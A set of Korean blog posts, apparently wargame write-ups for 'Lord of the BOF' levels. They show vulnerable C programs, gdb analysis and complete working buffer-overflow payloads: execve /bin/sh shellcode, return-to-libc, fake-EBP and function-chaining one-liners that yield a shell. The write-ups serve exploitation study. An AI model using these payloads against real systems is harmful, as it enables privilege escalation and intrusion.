[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){//\x40이 발견되면 포인터가 리턴된다. 즉 library는 못쓴다.

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO; //DO의 주소값 저장

        if(memcmp(argv[1]+44, &addr, 4) != 0){//argv[1]+44의주소와 앞 네자리 비교 값지않으면 아웃!!

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);//버퍼의 주소부터 44만큼 0으로 초기화

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); //버퍼주소+148 부터 전부 0으로 초기화 


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40); //버퍼 앞 2960개공간 모두 0으로 초기화


ROP 체인을 연습해보는 문제이다. 함수로 도, 개, 걸, 윷, 모가 있고 모 안에 system(cmd)가 있다.

strcpy함수가 실행되고 main함수로 돌아오는 ret값을 DO()함수의 주소값을 넣어주고 차례대로 개, 걸, 윷, 모를 넣어주소 MO()함수의 system(cmd)의 명령어 인자가 들어갈 위치에 "my-pass"를 넣어주면 된다.

문제를 풀기위해서 먼저 각각의 함수의 주소부터 알아보기로 한다.  편한대로 disas 함수명을 이용했다.


DO주소 0x080487ec

(gdb) disas DO

Dump of assembler code for function DO:

0x80487ec <DO>: push   %ebp

0x80487ed <DO+1>:       mov    %esp,%ebp

0x80487ef <DO+3>:       push   $0x8048a0e

0x80487f4 <DO+8>:       call   0x804844c <printf>

0x80487f9 <DO+13>:      add    $0x4,%esp

0x80487fc <DO+16>:      movl   $0x1,0x8049a90

0x8048806 <DO+26>:      leave

0x8048807 <DO+27>:      ret

End of assembler dump.


(gdb) disas GYE

Dump of assembler code for function GYE:

0x80487bc <GYE>:        push   %ebp

0x80487bd <GYE+1>:      mov    %esp,%ebp

0x80487bf <GYE+3>:      cmpl   $0x1,0x8049a90

0x80487c6 <GYE+10>:     je     0x80487d2 <GYE+22>

0x80487c8 <GYE+12>:     push   $0x0

0x80487ca <GYE+14>:     call   0x804845c <exit>

0x80487cf <GYE+19>:     add    $0x4,%esp

0x80487d2 <GYE+22>:     push   $0x80489f9

0x80487d7 <GYE+27>:     call   0x804844c <printf>

0x80487dc <GYE+32>:     add    $0x4,%esp

0x80487df <GYE+35>:     movl   $0x2,0x8049a90

0x80487e9 <GYE+45>:     leave

0x80487ea <GYE+46>:     ret

0x80487eb <GYE+47>:     nop

End of assembler dump.


(gdb) disas GUL

Dump of assembler code for function GUL:

0x804878c <GUL>:        push   %ebp

0x804878d <GUL+1>:      mov    %esp,%ebp

0x804878f <GUL+3>:      cmpl   $0x2,0x8049a90

0x8048796 <GUL+10>:     je     0x80487a2 <GUL+22>

0x8048798 <GUL+12>:     push   $0x0

0x804879a <GUL+14>:     call   0x804845c <exit>

0x804879f <GUL+19>:     add    $0x4,%esp

0x80487a2 <GUL+22>:     push   $0x80489e4

0x80487a7 <GUL+27>:     call   0x804844c <printf>

0x80487ac <GUL+32>:     add    $0x4,%esp

0x80487af <GUL+35>:     movl   $0x3,0x8049a90

0x80487b9 <GUL+45>:     leave

0x80487ba <GUL+46>:     ret

0x80487bb <GUL+47>:     nop


(gdb) DISAS YUT

Dump of assembler code for function YUT:

0x804875c <YUT>:        push   %ebp

0x804875d <YUT+1>:      mov    %esp,%ebp

0x804875f <YUT+3>:      cmpl   $0x3,0x8049a90

0x8048766 <YUT+10>:     je     0x8048772 <YUT+22>

0x8048768 <YUT+12>:     push   $0x0

0x804876a <YUT+14>:     call   0x804845c <exit>

0x804876f <YUT+19>:     add    $0x4,%esp

0x8048772 <YUT+22>:     push   $0x80489cf

0x8048777 <YUT+27>:     call   0x804844c <printf>

0x804877c <YUT+32>:     add    $0x4,%esp

0x804877f <YUT+35>:     movl   $0x4,0x8049a90

0x8048789 <YUT+45>:     leave

0x804878a <YUT+46>:     ret

0x804878b <YUT+47>:     nop

End of assembler dump.


(gdb) DISAS MO

Dump of assembler code for function MO:

0x8048724 <MO>: push   %ebp

0x8048725 <MO+1>:       mov    %esp,%ebp

0x8048727 <MO+3>:       cmpl   $0x4,0x8049a90

0x804872e <MO+10>:      je     0x8048740 <MO+28>

0x8048730 <MO+12>:      push   $0x0

0x8048732 <MO+14>:      call   0x804845c <exit>

0x8048737 <MO+19>:      add    $0x4,%esp

0x804873a <MO+22>:      lea    0x0(%esi),%esi

0x8048740 <MO+28>:      push   $0x80489bb

0x8048745 <MO+33>:      call   0x804844c <printf>

0x804874a <MO+38>:      add    $0x4,%esp

0x804874d <MO+41>:      mov    0x8(%ebp),%eax

0x8048750 <MO+44>:      push   %eax

0x8048751 <MO+45>:      call   0x804840c <system>

0x8048756 <MO+50>:      add    $0x4,%esp

0x8048759 <MO+53>:      leave

0x804875a <MO+54>:      ret

0x804875b <MO+55>:      nop

End of assembler dump.


(gdb) q


5가지함수의 주소를 알아봄과 동시에 대략적인 어셈블리코드도 본 결과 처음 버퍼에 44바이트의 dummy값 뒤에 ret공간에 DO함수 주소를 넣어주고 차례대로 GYE GUL YUT MO함수의 주소를 넣어주면 leave ret 과정을 통해 차례대로 함수가  실행된다.

마지막 MO()함수에서 system(cmd)가 실행되는데 4바이트 크기의 dummy후에 명령어를 넣어주면 된다.


[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$▒

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

sh: 1▒^▒▒▒▒PTRhLh▒QV▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒U▒▒=▒: command not found

Segmentation fault (core dumped)


페이로드를 위와 같이 

| A*44 | DO | GYE | GUL | YUT | MO | 로 하여 argv[1]에 넣어 줬을때 함수 5개가 모두 실행 됬고 system(cmd) 쯤에서 segment fault가 발생했다. 



[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

sh:h: command not found

Segmentation fault (core dumped)


[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"my-pass"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$my-pass

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)


삽질을 한 결과 MO()함수공간+4의 주소에 있는 인자를 사용한다는 것을 알게 되었고 문제를 풀 수 있었다.

MO()함수공간+4의 공간에 my-pass\n 문자열 시작 주소를 넣어주었다.


[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\xac\xfa\xff\xbf"+"\xac\xfa\xff\xbf"+"AAAA"+"my-pass\n"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒AAAAmy-pass

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

euid = 516

no place to hide




[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xac\xfa\xff\xbf"+"AAAA"+"my-pass\n"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒AAAAmy-pass

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

euid = 517

here to stay

Segmentation fault




'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

19.lob nightmare->xavius  (0) 2018.01.15
18.lob succubus->nightmare  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11
14.bugbear->giant  (0) 2018.01.11

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP    //fake ebp

*/

#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')        //스택제한

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");        //라이브러리영역 제한

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);        //버퍼부터 ret공간 내에서 해결해야함

        printf("%s\n", buffer);

}




gdb로 분석하기 위해 tmp 디렉토리로 파일을 cp하고 core파일을 생성했다. 이전 문제와의 차이점이라면 shellcode의 위치이다.

giant->assassin에서는 ret어드레스 공간뒤에 바로 쉘코드가 있어서 ret명령어만 넣어주면 nop를 타고 쉘코드를 실행했다면

이번 문제에서는 shellcode가 ret어드레스 앞 공간에 위치해 있기 때문에 이번엔 sfp(4)위치에 Fake ebp를 넣어주면 leave(mov esp, ebp + pop ebp)명령어 실행 후 nop가 담겨 있는 주소로 옮겨가고 후에 ret명령어에서 shellcode가 실행된다.






[assassin@localhost assassin]$ cp zombie_assassin zombie_assassi1


[assassin@localhost assassin]$ gdb ./zombie_assassi1 ./core

(gdb) x/100x $esp


0xbffffc20:     0x73615f65      0x73736173      0x90003169      0x90909090

0xbffffc30:     0x90909090      0x90909090      0xc0319090      0x2f2f6850

0xbffffc40:     0x2f686873      0x896e6962      0x895350e3      0xb0d231e1

---Type <return> to continue, or q <return> to quit---

0xbffffc50:     0xbf80cd0b      0x00bfbfbf      0x3d445750      0x6d6f682f

0xbffffc60:     0x73612f65      0x73736173      0x52006e69      0x544f4d45



This GDB was configured as "i386-redhat-linux"...

(gdb) disas main


0x80484d7 <main+151>:   call   0x8048354 <printf>

0x80484dc <main+156>:   add    $0x8,%esp

0x80484df <main+159>:   leave        //mov esp, ebp + pop ebp

0x80484e0 <main+160>:   ret


페이로드 "\x90"*4 (4) | 쉘코드시작주소 (4) | "\x90"*7 (7) | 쉘코드 (25) | sfp (4) | ret (4) 


[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\x90"*4+"\x34\xfc\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x27\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`

▒▒▒▒4▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀'▒▒▒߄

bash$ whoami

assassin



원본도 페이로드는 위와 동일하다.

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\x90"*4+"\x34\xfc\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x27\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`

▒▒▒▒4▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀'▒▒▒߄

bash$ whoami

zombie_assassin

bash$ my-pass

euid = 516

no place to hide




'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

18.lob succubus->nightmare  (0) 2018.01.15
17.lob zombie_assassin->succubus  (0) 2018.01.15
15.lob giant->assassin  (0) 2018.01.11
14.bugbear->giant  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')    //ret주소로 스택주소를 사용 할 수 없다.

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')        //ret주소로 라이브러리 영역을 사용할 수 없다.

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);        //버퍼영역이 모두 0으로 초기화 된다.

}



[giant@localhost giant]$ ulimit -c 1024

[giant@localhost giant]$ ./assassi1 `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

stack retbayed you!


ret어드레스 공간에 \xbf로 시작하는 주소를 넣으니 exit(0);으로 프로그램이 종료되는 것을 알 수 있엇다.


[giant@localhost giant]$ ./assassi1 `python -c 'print "A"*44+"\xbb\xbb\xbb\xbb"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

         ̀

Segmentation fault (core dumped)


위와 같이 buf(40) | sfp(4) | ret(4) | nop+shellcode <---에서 ret공간에 \xbf로 시작하지 않고 \x40으로 시작하지 않는 주소를 넣어 core파일을 생성해본다.



[giant@localhost giant]$ gdb ./assassi1 ./core                                  GNU gdb 19991004
#0  0xbbbbbbbb in ?? ()
(gdb) x/200x $esp

0xbffffbc0:     0x2f2e0036      0x61737361      0x31697373      0x41414100
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffbf0:     0x41414141      0x41414141      0xbbbbbb41      0x909090bb
0xbffffc00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc30:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc50:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc60:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
0xbffffc70:     0xe1895350      0x0bb0d231      0x500080cd      0x2f3d4457
0xbffffc80:     0x656d6f68      0x6169672f      0x5200746e      0x544f4d45
0xbffffc90:     0x534f4845      0x39313d54      0x36312e32      0x39352e38
0xbffffca0:     0x4800312e      0x4e54534f      0x3d454d41      0x61636f6c
0xbffffcb0:     0x736f686c      0x6f6c2e74      0x646c6163      0x69616d6f
0xbffffcc0:     0x454c006e      0x504f5353      0x7c3d4e45      0x7273752f
0xbffffcd0:     0x6e69622f      0x73656c2f      0x70697073      0x68732e65
0xbffffce0:     0x00732520      0x52455355      0x6169673d      0x4c00746e

(gdb) disas main

0x8048514 <main+164>:   push   %eax

0x8048515 <main+165>:   call   0x8048398 <memset>

0x804851a <main+170>:   add    $0xc,%esp

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

0x804851f <main+175>:   nop




RTL도 불가능하고 스택도 사용할 수 없는데 어떻게 exploit이 가능할까? 방법은 간단하다. 프로그램의 모든 함수에는 함수 시작과 끝에 함수 프롤로그와 에필로그(leave + ret)가 존재한다. 그 과정은 스택프레임포인터에 이전의 스택주소를 담아두고 ret공간에는 다음 실행될 명령어의 주소를 담아두고 함수가 종료되고 다시 이전의 흐름으로 돌아오는 과정이다. 특히 그 중 에서도 이번 문제에서는 코드영역중 ret을 하는 명령의 주소를 이용한다. 그 주소를 ret어드레스 공간에 넣게 되면  ret = pop eip + jmp eip 과정에서 nop를 타고 shellcode가 실행될 것이다.


[giant@localhost giant]$ ./assassi1 `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x10\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

        ̀

bash$ whoami

giant



마찬가지로 원본 파일에 같은 페이로드를 적용시켜보면 exploit이 가능하다.




[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x10\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

        ̀

bash$ whoami

assassin

bash$ my-pass

euid = 515

pushing me away



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

17.lob zombie_assassin->succubus  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
14.bugbear->giant  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10
12.lob golem->darknight  (0) 2018.01.09

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // gain address of execve

//공유라이브러리 libc의 주소 출력

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);

//__execve함수 주소를 출력한다.

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);


        execve_addr = lib_addr + (int)execve_offset;

        // end


        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)        //execve주소로 ret하지 않으면 프로그램 종료

        {

                printf("You must use execve!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



ldd 공유라이브러리 출력 명령어
awd  원하는 필드만 출력





execve의 주소를 알기위해 ldd 명령어를 이용해 라이브러리의 버전이나  시작주소를 알 수 있다.


[darkknight@localhost darkknight]$ ldd /home/darkknight/bugbear
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[bugbear@localhost /home]$ /usr/bin/ldd /home/bugbear/giant
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)




awk명령어를 통해 1번 필드에 있는 execve의 offset 값만 가져올 수 있다.



[bugbear@localhost /home]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'
00091d48


아래 간단한 코드를 이용해서 execve 함수 내부에 있는 /bin/sh 문자열 주소를 찾을 수 있다.

[bugbear@localhost bugbear]$ cat ./findbin.c
#include <stdio.h>
#include <string.h>

int main(){
        long execve = 0x400a9d48;
        while(memcmp(execve,"/bin/sh\00",8))
        execve++;

        printf("%p\n",execve);

}

execve주소 = 라이브러리 주소 + execve의 offset 값 = 0x400a9d48




/bin/sh 주소0x400fbff9



[bugbear@localhost bugbear]$ ln -s ./gian1 `python -c 'print "\xf9\xbf\x0f\x40"'`

심볼릭링크를 이용해서 환경변수 영역에 /bin/sh의 포인터로 사용하기위해 /bin/sh의 주소값을 추가해주고

페이로드를 짜본다면 


dummy(40) | sfp(4) | ret=execve함수주소(4) | dummy(4) | /bin/sh주소(4) | &"/bin/sh"(4) |  NULL (4)


\x0a가  엔터값이여서 문자열로 인식하기 때문에  argv[1] 을 더블쿼터로 한번더 감싸준다.


[bugbear@localhost bugbear]$ ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"CCCC"+"DDDD"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒

@BBBB▒@CCCCDDDD

Segmentation fault (core dumped)


[bugbear@localhost bugbear]$ gdb ./`python -c 'print "\xf9\xbf\x0f\x40"'` ./core

Core was generated by `./▒@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒

@BBBB▒@CCCCDDDD'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x42424242 in ?? ()


(gdb) x/20s 0xbfffffff -200

0xbfffff37:      "ear"

0xbfffff3b:      "SHLVL=2"

0xbfffff43:      "SHELL=/bin/bash2"

0xbfffff54:      "USERNAME="

0xbfffff5e:      "HOSTTYPE=i386"

0xbfffff6c:      "OSTYPE=linux-gnu"

0xbfffff7d:      "HISTSIZE=1000"

0xbfffff8b:      "TERM=xterm"

0xbfffff96:      "HOME=/home/bugbear"

0xbfffffa9:      "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/bugbear/bin"

0xbfffffec:      "_=./▒\017@"

0xbffffff5:      "./▒\017@"

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""


(gdb) x/30x 0xbfffffec +11

0xbffffff7:     0x400fbff9      0x00000000  




[bugbear@localhost bugbear]$ ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfb\xff\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒

@BBBB▒@▒▒▒▒▒▒▒▒

bash$ whoami

giant

bash$ my-pass

euid = 514

one step closer



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10
12.lob golem->darknight  (0) 2018.01.09
11.lob skeleton->golem  (0) 2018.01.08

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1        Return To Library 기법을 이용하라는 힌트

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')         //스택을 사용하지 못하도록 제한함.

        {

                printf("stack betrayed you!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



[darkknight@localhost darkknight]$ gdb bugbea1

(gdb) b*main

Breakpoint 1 at 0x8048430

(gdb) r asd

Starting program: /home/darkknight/bugbea1 asd


Breakpoint 1, 0x8048430 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q


라이브러리의 주소가 매번 고정 되있는것으로 보아 aslr이 안걸려있다. RTL기법을 이용할 때 단연 먼저 찾아야하는 함수인 system함수의 주소를 구하고 함수 내부에 있는  "/bin/sh"의 문자열을 찾으면된다 

system함수는 내부적으로 execve함수를 쓴다. 이 execve함수의 동작은 "/bin/sh"를 통해 하기 때문에 결국 "/bin/sh"문자열은 system함수를 뒤져보면 쉽게 찾을 수 있을것. 지정한 주소부터 문자열을 찾는 간단한 스크립트를 아래와 같이 짜서 돌린다.



[darkknight@localhost darkknight]$ vi findbin.c

[darkknight@localhost darkknight]$ cat findbin.c

#include <stdio.h>

#include <string.h>


int main(){

        long system = 0x40058ae0;

        while(memcmp(system,"/bin/sh\x00",8)){

        system++;

}

        printf("%p\n",system);

}


[darkknight@localhost darkknight]$ gcc -o findbin findbin.c

findbin.c: In function `main':

findbin.c:6: warning: passing arg 1 of `memcmp' makes pointer from integer without a cast


[darkknight@localhost darkknight]$ ./findbin

0x400fbff9



페이로드

더미 (256) + sfp (4) + system()주소 (4) + 더미 (4) + "/bin/sh\x00"주소 (4)

system()함수가 실행되면  system()의 주소를 담고있는 stack의 주소+4에 담긴 문자를 인자로 사용하는 규칙이 있다.

gdb로 열어본다면 자세히 이해할 수 있다.




[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒@BBBB▒@
bash$ whoami
bugbear
bash$ my-pass
euid = 513
new divide


'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

15.lob giant->assassin  (0) 2018.01.11
14.bugbear->giant  (0) 2018.01.11
12.lob golem->darknight  (0) 2018.01.09
11.lob skeleton->golem  (0) 2018.01.08
10.lob vampire->skeleton  (0) 2018.01.08

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO        //프레임 포인터 오버플로우를 이용한다. sub함수가 있어야함.

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);

}



FPO는 서브함수가 있어야하고 SFP까지만 오버플로우가 발생 할때 사용하는 기법이다.

Fake EBP는 FPO와 원리는 같지만, ret까지 overflow되는 상황에서 가능하고 main함수에서도 공격이 가능하다는 차이점이 있다. Fake EBP는 ret까지 overflow가 가능하기 때문에 ret에 직접 leave;ret; 가젯의 주소를 덮어씌워준다. 


FPO에 대한 설명 : http://bob3rdnewbie.tistory.com/188

너무 잘 정리 되어있어서 링크를 건다.





[golem@localhost golem]$ gdb ./darkknigh2

(gdb) disas problem_child

Dump of assembler code for function problem_child:

0x8048440 <problem_child>:      push   %ebp

0x8048441 <problem_child+1>:    mov    %esp,%ebp

0x8048443 <problem_child+3>:    sub    $0x28,%esp

0x8048446 <problem_child+6>:    push   $0x29

0x8048448 <problem_child+8>:    mov    0x8(%ebp),%eax

0x804844b <problem_child+11>:   push   %eax

0x804844c <problem_child+12>:   lea    0xffffffd8(%ebp),%eax

